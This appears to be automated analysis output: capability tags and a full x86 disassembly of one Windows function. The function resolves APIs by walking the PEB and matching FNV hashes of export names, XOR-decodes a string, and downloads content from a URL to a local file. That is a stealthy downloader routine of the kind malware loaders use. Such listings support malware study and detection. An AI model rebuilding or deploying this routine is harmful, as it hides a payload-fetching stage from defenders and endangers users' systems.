Function at 0x401440
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406fa5
mov eax, dword fs:[0]
push eax
mov eax, 0x1030
call fcn.00406f50
mov eax, dword [0x40b008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
mov eax, dword [str.WPZG_EE_r]
movq xmm0, qword [str.EZZXRL]
mov dword [ebp - 0x1034], eax
mov eax, dword fs:[0x30]
movq qword [ebp - 0x103c], xmm0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1024], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x102c], ecx
cmp ecx, esi
je 0x40151a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x40151a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1018], ecx
dec edi
mov esi, 0xc76a89e1
mov cl, byte [edx]
inc edx
test cl, cl
je 0x40150d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4014f0
cmp esi, 0xd56d710b
je 0x40151e
mov ecx, dword [ebp - 0x1018]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4014d0
mov eax, dword [eax]
jmp 0x4014a0
mov esi, dword [ebp - 0x102c]
mov edx, dword [ebp - 0x1024]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
cmp dword [0x40b6cc], 2
mov dword [ebp - 0x1024], edx
jl 0x401660
movaps xmm2, xmmword [0x4084e0]
mov eax, 1
movaps xmm3, xmmword [0x408520]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
movd xmm4, eax
mov eax, 0x1f
psrad xmm1, xmm4
mov dword [ebp - 0x1024], edx
movaps xmm0, xmm1
movd xmm5, eax
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x408500]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4084f0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x408510]
movd xmm0, dword [str.EZZXRL]
packuswb xmm1, xmm1
paddb xmm1, xmmword [0x408530]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x103c], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movaps xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x408500]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x408510]
movd xmm0, dword [ebp - 0x1038]
packuswb xmm1, xmm1
paddb xmm1, xmmword [0x408530]
xorps xmm1, xmm0
movd dword [ebp - 0x1038], xmm1
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x1024]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x32
xor byte [ebp + edx - 0x103c], cl
inc edx
mov dword [ebp - 0x1024], edx
cmp edx, 0xc
jl 0x401660
lea eax, [ebp - 0x103c]
push eax
call esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1024], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x102c], ecx
cmp ecx, esi
je 0x40172a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x40172a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1018], ecx
dec edi
mov esi, 0xce6cd37d
mov cl, byte [edx]
inc edx
test cl, cl
je 0x40171d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x401700
cmp esi, 0x5aa3be3f
je 0x40172e
mov ecx, dword [ebp - 0x1018]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4016e0
mov eax, dword [eax]
jmp 0x4016b0
mov esi, dword [ebp - 0x102c]
mov edx, dword [ebp - 0x1024]
push 0
push 0
mov eax, dword [esi + 0x24]
push 0
push 1
push str.FileDownloadApp
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov dword [ebp - 0x1024], eax
test eax, eax
je 0x401907
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
mov dword [ebp - 0x1020], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x101c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x102c], ecx
cmp ecx, esi
je 0x40180a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x40180a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1018], ecx
dec edi
mov esi, 0x47bb575d
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4017fd
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4017e0
cmp esi, 0x734d6594
je 0x40180e
mov ecx, dword [ebp - 0x1018]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4017c0
mov eax, dword [eax]
jmp 0x401790
mov esi, dword [ebp - 0x102c]
mov edx, dword [ebp - 0x101c]
push 0
push 0x80000000
mov eax, dword [esi + 0x24]
push 0
push 0
push dword [ebp - 0x1020]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
push dword [ebp - 0x1024]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov dword [ebp - 0x102c], eax
test eax, eax
jne 0x401988
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1018], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x101c], ecx
cmp ecx, esi
je 0x4018da
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4018da
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1020], ecx
dec edi
mov esi, 0xaeb16c26
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4018cd
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4018b0
cmp esi, 0x6287059b
je 0x4018de
mov ecx, dword [ebp - 0x1020]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x401890
mov eax, dword [eax]
jmp 0x401862
mov esi, dword [ebp - 0x101c]
mov edx, dword [ebp - 0x1018]
push dword [ebp - 0x1024]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov byte [ebp - 0x1025], 0
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x40193e
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401934
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401982
push ecx
push edx
call fcn.00406167
add esp, 8
mov ecx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp ecx, 0x10
jb 0x401d7d
mov edx, dword [ebp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401d73
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401d73
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push 0
cmovae eax, dword [ebp + 0x20]
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x1018], eax
cmp eax, 0xffffffff
jne 0x401b02
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1018], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x101c], ecx
cmp ecx, esi
je 0x401a4a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x401a4a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1020], ecx
dec edi
mov esi, 0x591c851d
mov cl, byte [edx]
inc edx
test cl, cl
je 0x401a3d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x401a20
cmp esi, 0xf4cadbae
je 0x401a4e
mov ecx, dword [ebp - 0x1020]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x401a00
mov eax, dword [eax]
jmp 0x4019d0
mov esi, dword [ebp - 0x101c]
mov edx, dword [ebp - 0x1018]
push dword [ebp - 0x102c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1018], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x101c], ecx
cmp ecx, esi
je 0x401afe
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x401afe
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1020], ecx
dec edi
mov esi, 0x58294f7d
mov cl, byte [edx]
inc edx
test cl, cl
je 0x401af1
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x401ad0
cmp esi, 0xf410ab4e
je 0x4018de
mov ecx, dword [ebp - 0x1020]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x401ab0
mov eax, dword [eax]
jmp 0x401a83
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x1030], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x101c], ecx
cmp ecx, edx
je 0x401b8a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x401b8a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, edx
nop dword [eax + eax]
sub ecx, 4
dec edi
mov dword [ebp - 0x1020], ecx
mov esi, 0xd747e74c
mov ecx, dword [ecx]
add ecx, edx
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x401b7d
nop word [eax + eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x401b60
cmp esi, 0xd7c423cf
je 0x401b8e
mov ecx, dword [ebp - 0x1020]
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x401b40
mov eax, dword [eax]
jmp 0x401b10
mov esi, dword [ebp - 0x101c]
mov edx, dword [ebp - 0x1030]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x1014]
push ecx
push 0x1000
lea ecx, [ebp - 0x1010]
add eax, edx
push ecx
push dword [ebp - 0x102c]
call eax
test eax, eax
je 0x401bf5
mov eax, dword [ebp - 0x1014]
test eax, eax
je 0x401bf5
push 0
push 0
push eax
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 0x1018]
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x401b02
push dword [ebp - 0x1018]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x101c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x1020], ecx
cmp ecx, esi
je 0x401c8a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x401c8a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1030], ecx
dec edi
mov esi, 0x5839a7d5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x401c7d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x401c60
cmp esi, 0x2e7efa16
je 0x401c8e
mov ecx, dword [ebp - 0x1030]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x401c40
mov eax, dword [eax]
jmp 0x401c10
mov esi, dword [ebp - 0x1020]
mov edx, dword [ebp - 0x101c]
push dword [ebp - 0x102c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x101c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x1020], ecx
cmp ecx, esi
je 0x401d3a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x401d3a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1030], ecx
dec edi
mov esi, 0x635e89ff
mov cl, byte [edx]
inc edx
test cl, cl
je 0x401d2d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x401d10
cmp esi, 0x90c11e80
je 0x401d3e
mov ecx, dword [ebp - 0x1030]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x401cf0
mov eax, dword [eax]
jmp 0x401cc3
mov esi, dword [ebp - 0x1020]
mov edx, dword [ebp - 0x101c]
push dword [ebp - 0x1024]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov byte [ebp - 0x1025], 1
jmp 0x40190e
push ecx
push edx
call fcn.00406167
add esp, 8
mov al, byte [ebp - 0x1025]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00406129
mov esp, ebp
pop ebp
ret 0x30